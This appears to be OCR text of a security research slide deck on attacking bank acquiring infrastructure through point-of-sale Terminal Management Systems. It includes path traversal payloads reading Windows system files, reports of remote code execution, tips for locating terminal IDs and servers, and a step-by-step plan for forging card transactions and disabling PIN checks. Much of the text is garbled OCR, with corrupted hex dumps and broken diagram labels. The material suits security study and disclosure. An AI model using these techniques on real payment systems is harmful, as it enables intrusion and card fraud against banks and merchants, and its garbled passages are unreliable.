filename in params " '°" > O
00000070 4F 52 5
00000080 63 32
Method
HEAD | &o
69
36
3D

Gleb Cherbov, llia Bulatov

=l 1 = J ]
’01096906 01601000 000010060

|T'tx_~ + | enegti

48 08 53
68 5

)- ‘:-7 oS &

31 69 62

45 41 44
3F 66 69
39 26 74
30 80 98

CRC16
OX80

|

45 56 4
3 35
58 41 77
58 42 6C
54 43 4

20 64 6F
6C 65 3D
79 70 65
00 00 00

Ox98

The weakest element of acquiring bank infrastructure

35 BA &

52 43 42 6B
5A 32 6B 2F 5
4D 54 45 7T&
50 54 41 6D
6D 41 3D 3D
77 6E 6C 6F
62 6D 70 30
3D 30 26 6F
00 00 00 00

Cbeck = Bytel

XOR Byte2

62 32 64 75 @H.SEVBRCBkb3du

5A 6D 6C 72 bG9hZC5jZ2k/Zmls

4E 44 59 32 ZT11ibXAwMTExNDY2

62 32 5A 6D 0SZOeXBLPTAmb2Zm

00 00 00 00 c2VOPTCAmA==....

61 64 2E 63 67 HEAD download.cg
31 31 31 34 36 H?2file=bmp011146
66 66 73 65 74 B69&type=0&offset
00 00 00 00 00 =6CY....|

I
Request params

filename + type + offset

LOCK BOWH

livestream



TMS

Vendor Charlie

Some Tags (packet types):

0x08 — Default type (OK)
0x09 - End session
Ox0A - Start session
Ox0C - File chunk

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

Some Methods:

HEAD <filename> — get file info — length and SHA1
GET <filename> — download file
POST <filename> — upload file

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

How does it work?

GET ?file=test.txt

TCP session has been established (Type 0x08)
) _ 200..<FILE DATA>..
Info packet with Terminal =n (Type 0x08)
- ID (Type 0x0A) i @
) < A L @ C) POST ?file=test1.txt
ooo (Type 0x08) il o
ooo Ok (Type 0x0A) e S T >
0 | < i 00
S | T HEAD 2file=test txt i 00 — - Ok (Type 0x08)
il i) >» Terminal FILE DATA
Terminal TMS S ermina LS - 98 TMS S
765432 < e 765432 (Type 0x0C) S EVer
200 File exist (Type 0x08) <

Ok (Type 0x08)

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

gqnfﬁg.tx?l
Similar directory structure Tirmware.bin
1og01022018.txt
logo. bmp
_ ] ] _ config.txt
Directories with Terminal ID e Byare.bin
0g01022018.txt
‘! (9 (EJ 0. !:1"][]

- config.txt
CDE;:‘AI"1CHDVVSi firmware.bin
10g01022018. txt
—] 0O (;] 0. ‘(j"‘,[_‘.

config.txt
firmware.bin
log010

logo.bmp

config.txt
firmware.bin
1og01022018. txt

logo. bmp

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

So, we can control filename for both reading and writing again.

We explored two versions of the protocol and both of them were vulnerable:
GET ?file=/Windows/win.ini (with leading slash /)

GET “file=..I..1..[..I..]..I..I..]..]..]../Windows/win.ini

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

Reading win.ini

00000010 ©1 40 4c Oc 52 30 56 55 49 47 52 76 64 32 35 73  .@L.ROVU IGRvd2Ss

@ORPRB20 62 32 46 6b 4c 6d 4e 6e 61 54 39 6d 61 57 78 6¢c  b2FkLmNn aT9makxl GET

00000030 50 53 34 75 4c 79 34 75 4c 79 34 75 4c 79 34 75 PS4ulydu Lydulydy ——— download.cgi?file=../../..

0000040 4c 79 34 75 4c 79 34 75 4c 33 64 70 62 6d 52 76  Lydulydu L3dpbmRv oot oo/ o Jwindows /win

P000P050 64 33 4d 76 64 32 6c 75 4c 6d 6¢c 75 61 58 2b 5a d3Mvd2lu LmluaX+Z
0000eR1C 01 46 2c 6a 4d 6a 41 77 4f 79 42 6d 62 33 49 67 .F,jMjAw OyBmb3Ig
P00e02C 4d 54 59 74 59 6d 6¢c 30 49 47 46 77 63 43 42 7a  MTYtYmle IGFwcCBz
@00PRO3C 64 58 42 77 62 33 4a 30 44 51 70 62 Sa 6d 39 75 dXBwb31)@ DQpbZm9u
P0000P4C 64 48 4e 64 44 51 70 62 5a 58 68 30 Sa 57 35 7a  dHNADQpb ZXh@ZWSz
@000085C 61 57 39 75 63 31 3@ 4e 43 6¢c 74 74 59 32 6b 67 aWIucleN Cltty2kg — ’ ,
PPRPRR6C Sa 58 68 3@ Sa 57 35 7a 61 57 39 75 63 31 30 4e  ZXh@ZWSz aW9ucl®N Lronts ]
00PRR7C 43 6¢c 74 6d 61 57 78 6c 63 31 30 4e 43 6¢C 74 4e  Cltmalixl c1ONC1tN lextensions
PP0ORA8C 59 57 6¢ 73 58 51 30 4b 54 55 46 51 53 54 30 78  YW1sXQOK TUFQSTex [mci extensions]
GO0ERR9C 44 51 70 44 54 55 4e 45 54 45 78 4f 51 55 31 46  DQpDTUNE TEXOQULF [files]
@BOOROAC 4d 7a 49 39 62 57 46 77 61 54 4d 79 4c 6d 52 73  MzI9bWFw aTMyLmRs —— [Mail]

w

200

for 16-bit app support

22eeeeBC 62 41 30 4b 51 3@ 31 44 52 45 78 4d 54 6b 46 4e bAGKQR1D REXMTKFN ;A?T*]
2000RRCC 52 54 31 74 59 58 42 70 4c 6d 52 73 62 41 30 4b  RT1tYXBp LmRsbAeK CMCDLLNAME32=mapi32.d1]
002000DC 51 30 31 44 50 54 45 4e 43 6b 31 42 55 45 6¢c 59 Q@IDPTEN Ck1BUELY gt S R e T,

@OGROOEC 50 54 45 4e 43 6b 31 42 55 45 6¢ 59 56 6b 56 53 PTENCk1B UE1YVkVS CRCOLLNANE-mapi1 .dl]
0000RRFC 50 54 45 75 4d 43 34 77 A4c 6a 45 4e 43 6b 39 4d PTEuUMC4w LJENCkOM = "t eesssresrsnnnns
2000010C 52 55 31 6¢c 63 33 4e 68 5a 32 6¢c 75 5a 7a 30 78 RU11lc3Nh Z2luZz@x

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

During the research, we discovered an Admin Panel (written in PHP)

We overwrote some PHP files and achieved RCE

Gleb Cherbov, llia Bulatov
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TMS

Vendor Charlie

We discovered TMS service was launched with NT/Authority System.
So, using these vulnerabilities, we were able to:

Conduct a MiTM attack on PoS Terminal and modify configuration
Download any files from TMS server

Write any files on TMS server

Achieve RCE using DLL Hijacking or rewriting PHP files

Expand the attack on internal services

OB WN -
~— N N N N

Gleb Cherbov, llia Bulatov
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TMS

Terminal ID

In both Vendor Bravo and Vendor Charlie, TMS requires a terminal ID

P BRETLS PP i ]
oy e L s it T

TESERe e

How to leak terminal ID?

> Get it from real a receipt from a real PoS Terminal
> Google the photo of the real receipt
> Brute it!

Fri 04/07/2017 11:36 AM

Merchant ID: Shqjxvufdr
Terminal ID: i 11111

Transaction ID: #e6d598ef
Type: CREDIT

Gleb Cherbov, llia Bulatov
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TMS

Searching the IP of TMS

It's hard to find the IP address of TMS, but:
> Scan the AS network, pay attention to non-standard TCP ports

> Use google dorks to find merchant’'s PDF/DOCX instructions for configuring PoS

Gleb Cherbov, llia Bulatov
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Attack #1

Attack on internal bank services

> TMS servers are often located in a sensitive network segment.
> There are many connections with other Acquiring Systems

> TMS can include Admin panel with AD login

> TMS are often deployed on Windows included in AD domain

TMS could become an entry point into Acquiring bank internal network

Gleb Cherbov, llia Bulatov

The weakest element of acquiring bank infrastructure




Attack #2

Transaction Forgering

For a successful attack, we need:

> Terminal ID

> Physical location of PoS terminal

> Ability to modify configuration for PoS Terminal (Hacking TMS or MiTM PoS)

Gleb Cherbov, llia Bulatov
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Attack #2

Transaction Forgering

STEP 1
> Take control over a TMS server
> Modify PoS configuration: e

: Taking control

— Change Acquiring Host IP to Attack using 2 Pl :
known TID mn_5(0) pep ,

controlled server > @) PN o PR — (i |
— Enable Technical Fallback 00 =
| MagStripe / Contactless Chb < External  Gore PPokod ol
ervice 1

— Disable MAC verification e = : :
— Modified : [ ,—> % :

Config : I

| Local DB Modlfymg :

Gleb Cherbov, llia Bulatov
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Attack #2

Transaction Forgering

Another STEP 1

> MiTM PoS over WiFi if possible

> Intercept and modify PoS configuration:
— Change Acquiring Host IP to

controlled server P Modified
’: Config P
— Enable Technical Fallback ¢ ‘c;' =
| MagStripe / Contactless lEl = ==60; i $(0)
— Disable MAC verification S Insecure channel ::::: :o
PoS Hacker Terminal Management

System (TMS)

Gleb Cherbov, llia Bulatov
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Attack #2

Transaction Forgering

STEP 2

> Deploy your own Acquiring Host emulator(~22 Python LoC)
> Proxy connections from PoS to real Acquiring Host

Acquiring bank

Fake
isossss UMY 1S088583 | acquiring :
& @ Host
MiTM ISO 8583

Gleb Cherbov, llia Bulatov
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Attack #2

Transaction Forgering
STEP 3 — Go shopping!
> Force Technical Fallback / MagStripe / Contactless MChip
> Send fake approve for transaction with your PAN
> Shopping on pwned PoS!
Acquiring bank
Fake

Acquiring | o
PAN 55.....55 Host PAN 55.....55 : Acquiring

___________________________________________________

..... Host

Gleb Cherbov, llia Bulatov
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Future Attacks

Why not Contact Chip?

Remember a few transaction modes in EMV?

> Contact Chip (Plug your card in terminal)

> Contactless Chip (Over NFC)

> Contactless MagStripe/MSD (Magnetic stripe emulation over NFC)
> Legacy MagStripe (Swipe magnetic stripe)

Gleb Cherbov, llia Bulatov
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Future Attacks

Why not Contact Chip?

There are a few modes of transactions in EMV

> Contact Chip (Card verifies response from bank ARQC/ARPC)
> Contactless Chip (Response can be forged)

> Contactless MagStripe/MSD (Response can be forged)

> Legacy MagStripe (Response can be forged)

Gleb Cherbov, llia Bulatov
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Future Attacks
Why nOt ContaCt Chip? Default Operations: foainn:

Short brief of Contact MChip Card s FOD
> Card is authenticated by PoS using E:g =z
= Q0

A
Y

certificates with PKI 65A. DDA, ) =
(Card -> Bank -> Payment System) — (EEHE

A

Authentication Response

> During an online transaction, a card

generates cryptogram (ARQC)  PINVerifcaton
> Issuing bank generates a response oumoaliocassing Is;mr':g
cryptogram (ARPC) ) GENERATE ARQC an
> Bank and Card authenticate — > pr——
each other E :aoo
— ARPC ARPC

> Contactless Chip has simplified flow

Y

Confirm Payment

Gleb Cherbov, llia Bulatov
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Future Attacks

Why not Contact Chip?

There is a special field in the ISO 8583 protocol for ARQC/ARPC

You can’t forge response with ARPC so you can’t send approve for Chip transaction
but...

Gleb Cherbov, llia Bulatov
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Future Attacks

Attacking contact Chip

Overall security is based on PKI and CA certificate from Payment System.

PoS authenticates card by its certificate signed by bank certificate signed by

Payment System.

So what if we can replace CA
in the PoS configuration?

Gleb Cherbov, llia Bulatov

RID="A000000004" checksum="5ADDF21D09278661141179CBEFF272EA384B13BB"
expireDate="291231" exponent="00000003" hashalg="01" index="03"
keyModulus="C2490747FE17EB0584C88D47B1602704150ADC88C5B998BD59CE043EDEBFOFFEE3093AC7956AD3B6AD4554C6DEL
9A178D6DA295BE15D5220645E3C8131666FA4BESB84FE131EA44B039307638B9E74A8C42564F892A64DF1CB15712B736E3374F1
BBB6819371602D8970E97B900793C7C2A89A4A1649A59BE680574DDOB60145" sigalg="01"

RID="A000000004" checksum="EBFAOD5D06D8CE702DA3EAE890701D45E274C845"
expireDate="291231" exponent="00000003" hashalg="01" index="05"
keyModulus="B8048ABC30C90D976336543E3FD7091C8FE4800DF820ED55E7E94813ED0O0555B573FECA3D84AF6131A651D66CFF
4284FB13B635EDDOEE40176D8BF04B7FD1C7BACFOAC7327DFAABAA72D10DB3B8E70B2DDD811CB4196525EA386ACC33C0OD9D4575
916469C4E4F53E8E1C912CC618CB22DDE7C3568E90022E6BBA770202E4522A2DD623D180E215BD1D1507FE3DC90CA310D27B3EF
CCD8F83DE3052CAD1E48938C68DO95AAC91B5F37E28BB49EC7EDS97" sigalg="01"

RID="A000000003" checksum="D34A6A776011C7E7CE3AEC5FO3AD2F8CFC5503CC"
expireDate="291231" exponent="00000003" hashalg="01" index="01"
keyModulus="C696034213D7D8546984579D1DOFOEAS19CFF8DEFFC429354CF3A871A6F7183F1228DA5C7470C055387100CB935
A712C4E2864DF5D64BA93FE7E63E71F25B1ESF5298575EBE1IC63AA617706917911DC2A75AC28B251C7EF40F2365912490B939BC
A2124A30A28F54402C34AECA331AB67E1E79B285DD5771B5D9FF79EA630B75" sigalg="01"
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&
Future Attacks

Attacking contact Chip

So, here is the plan:

> Create your own CA and modify CA in the PoS config

> Craft a special card using a certificate signed by your CA
> Shopping!

As you can see, now we can forge any type of transactions

Gleb Cherbov, llia Bulatov
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Future Attacks

Other

The possibility to modify PoS config is a critical vulnerability. In addition to the
described cases, you can modify:

> Limits
> CVM list (Disable PIN verification)
> Enable Offline transactions

Control over PoS config allows you to make any transaction and approve it by
yourself!

Gleb Cherbov, llia Bulatov
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Conclusions

Security of Acquiring infrastructure is extremely neglected during penetration testing
because there is no public information regarding the security of these systems.

During a security audit, we discovered critical vulnerabilities and a misconfiguration,
which may lead to compromise of the Acquiring Banks.

All this vulnerabilities can be exploited remotely! You just need to put your card into
pwned PoS terminal!

Gleb Cherbov, llia Bulatov
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